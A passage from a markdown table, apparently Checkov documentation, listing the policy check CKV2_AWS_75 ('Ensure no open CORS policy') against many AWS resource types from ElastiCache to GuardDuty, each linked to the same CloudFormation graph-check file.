[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  755 | CKV2_AWS_75 | resource | aws_elasticache_serverless_cache                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  756 | CKV2_AWS_75 | resource | aws_elasticache_subnet_group                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  757 | CKV2_AWS_75 | resource | aws_elasticache_user                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  758 | CKV2_AWS_75 | resource | aws_elasticache_user_group                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  759 | CKV2_AWS_75 | resource | aws_elasticache_user_group_association                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  760 | CKV2_AWS_75 | resource | aws_elasticsearch_domain                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  761 | CKV2_AWS_75 | resource | aws_elasticsearch_domain_policy                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  762 | CKV2_AWS_75 | resource | aws_elasticsearch_domain_saml_options                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  763 | CKV2_AWS_75 | resource | aws_elasticsearch_vpc_endpoint                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  764 | CKV2_AWS_75 | resource | aws_elastictranscoder_pipeline                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  765 | CKV2_AWS_75 | resource | aws_elastictranscoder_preset                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  766 | CKV2_AWS_75 | resource | aws_elb                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  767 | CKV2_AWS_75 | resource | aws_elb_attachment                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  768 | CKV2_AWS_75 | resource | aws_emr_block_public_access_configuration                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  769 | CKV2_AWS_75 | resource | aws_emr_cluster                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  770 | CKV2_AWS_75 | resource | aws_emr_instance_fleet                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  771 | CKV2_AWS_75 | resource | aws_emr_instance_group                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  772 | CKV2_AWS_75 | resource | aws_emr_managed_scaling_policy                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  773 | CKV2_AWS_75 | resource | aws_emr_security_configuration                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  774 | CKV2_AWS_75 | resource | aws_emr_studio                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  775 | CKV2_AWS_75 | resource | aws_emr_studio_session_mapping                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  776 | CKV2_AWS_75 | resource | aws_emrcontainers_job_template                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  777 | CKV2_AWS_75 | resource | aws_emrcontainers_virtual_cluster                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  778 | CKV2_AWS_75 | resource | aws_emrserverless_application                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  779 | CKV2_AWS_75 | resource | aws_evidently_feature                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  780 | CKV2_AWS_75 | resource | aws_evidently_launch                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  781 | CKV2_AWS_75 | resource | aws_evidently_project                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  782 | CKV2_AWS_75 | resource | aws_evidently_segment                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  783 | CKV2_AWS_75 | resource | aws_finspace_kx_cluster                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  784 | CKV2_AWS_75 | resource | aws_finspace_kx_database                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  785 | CKV2_AWS_75 | resource | aws_finspace_kx_dataview                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  786 | CKV2_AWS_75 | resource | aws_finspace_kx_environment                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  787 | CKV2_AWS_75 | resource | aws_finspace_kx_scaling_group                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  788 | CKV2_AWS_75 | resource | aws_finspace_kx_user                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  789 | CKV2_AWS_75 | resource | aws_finspace_kx_volume                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  790 | CKV2_AWS_75 | resource | aws_fis_experiment_template                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  791 | CKV2_AWS_75 | resource | aws_flow_log                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  792 | CKV2_AWS_75 | resource | aws_fms_admin_account                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  793 | CKV2_AWS_75 | resource | aws_fms_policy                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  794 | CKV2_AWS_75 | resource | aws_fms_resource_set                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  795 | CKV2_AWS_75 | resource | aws_fsx_backup                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  796 | CKV2_AWS_75 | resource | aws_fsx_data_repository_association                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  797 | CKV2_AWS_75 | resource | aws_fsx_file_cache                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  798 | CKV2_AWS_75 | resource | aws_fsx_lustre_file_system                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  799 | CKV2_AWS_75 | resource | aws_fsx_ontap_file_system                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  800 | CKV2_AWS_75 | resource | aws_fsx_ontap_storage_virtual_machine                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  801 | CKV2_AWS_75 | resource | aws_fsx_ontap_volume                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  802 | CKV2_AWS_75 | resource | aws_fsx_openzfs_file_system                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  803 | CKV2_AWS_75 | resource | aws_fsx_openzfs_snapshot                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  804 | CKV2_AWS_75 | resource | aws_fsx_openzfs_volume                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  805 | CKV2_AWS_75 | resource | aws_fsx_windows_file_system                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  806 | CKV2_AWS_75 | resource | aws_gamelift_alias                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  807 | CKV2_AWS_75 | resource | aws_gamelift_build                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  808 | CKV2_AWS_75 | resource | aws_gamelift_fleet                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  809 | CKV2_AWS_75 | resource | aws_gamelift_game_server_group                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  810 | CKV2_AWS_75 | resource | aws_gamelift_game_session_queue                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  811 | CKV2_AWS_75 | resource | aws_gamelift_script                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  812 | CKV2_AWS_75 | resource | aws_glacier_vault                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  813 | CKV2_AWS_75 | resource | aws_glacier_vault_lock                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  814 | CKV2_AWS_75 | resource | aws_globalaccelerator_accelerator                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  815 | CKV2_AWS_75 | resource | aws_globalaccelerator_cross_account_attachment                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  816 | CKV2_AWS_75 | resource | aws_globalaccelerator_custom_routing_accelerator                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  817 | CKV2_AWS_75 | resource | aws_globalaccelerator_custom_routing_endpoint_group              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  818 | CKV2_AWS_75 | resource | aws_globalaccelerator_custom_routing_listener                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  819 | CKV2_AWS_75 | resource | aws_globalaccelerator_endpoint_group                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  820 | CKV2_AWS_75 | resource | aws_globalaccelerator_listener                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  821 | CKV2_AWS_75 | resource | aws_glue_catalog_database                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  822 | CKV2_AWS_75 | resource | aws_glue_catalog_table                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  823 | CKV2_AWS_75 | resource | aws_glue_catalog_table_optimizer                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  824 | CKV2_AWS_75 | resource | aws_glue_classifier                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  825 | CKV2_AWS_75 | resource | aws_glue_connection                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  826 | CKV2_AWS_75 | resource | aws_glue_crawler                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  827 | CKV2_AWS_75 | resource | aws_glue_data_catalog_encryption_settings                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  828 | CKV2_AWS_75 | resource | aws_glue_data_quality_ruleset                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  829 | CKV2_AWS_75 | resource | aws_glue_dev_endpoint                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  830 | CKV2_AWS_75 | resource | aws_glue_job                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  831 | CKV2_AWS_75 | resource | aws_glue_ml_transform                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  832 | CKV2_AWS_75 | resource | aws_glue_partition                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  833 | CKV2_AWS_75 | resource | aws_glue_partition_index                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  834 | CKV2_AWS_75 | resource | aws_glue_registry                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  835 | CKV2_AWS_75 | resource | aws_glue_resource_policy                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  836 | CKV2_AWS_75 | resource | aws_glue_schema                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  837 | CKV2_AWS_75 | resource | aws_glue_security_configuration                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  838 | CKV2_AWS_75 | resource | aws_glue_trigger                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  839 | CKV2_AWS_75 | resource | aws_glue_user_defined_function                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  840 | CKV2_AWS_75 | resource | aws_glue_workflow                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  841 | CKV2_AWS_75 | resource | aws_grafana_license_association                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  842 | CKV2_AWS_75 | resource | aws_grafana_role_association                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  843 | CKV2_AWS_75 | resource | aws_grafana_workspace                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  844 | CKV2_AWS_75 | resource | aws_grafana_workspace_api_key                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  845 | CKV2_AWS_75 | resource | aws_grafana_workspace_saml_configuration                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  846 | CKV2_AWS_75 | resource | aws_grafana_workspace_service_account                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  847 | CKV2_AWS_75 | resource | aws_grafana_workspace_service_account_token                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  848 | CKV2_AWS_75 | resource | aws_guardduty_detector                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  849 | CKV2_AWS_75 | resource | aws_guardduty_detector_feature                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  850 | CKV2_AWS_75 | resource | aws_guardduty_filter                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  851 | CKV2_AWS_75 | resource 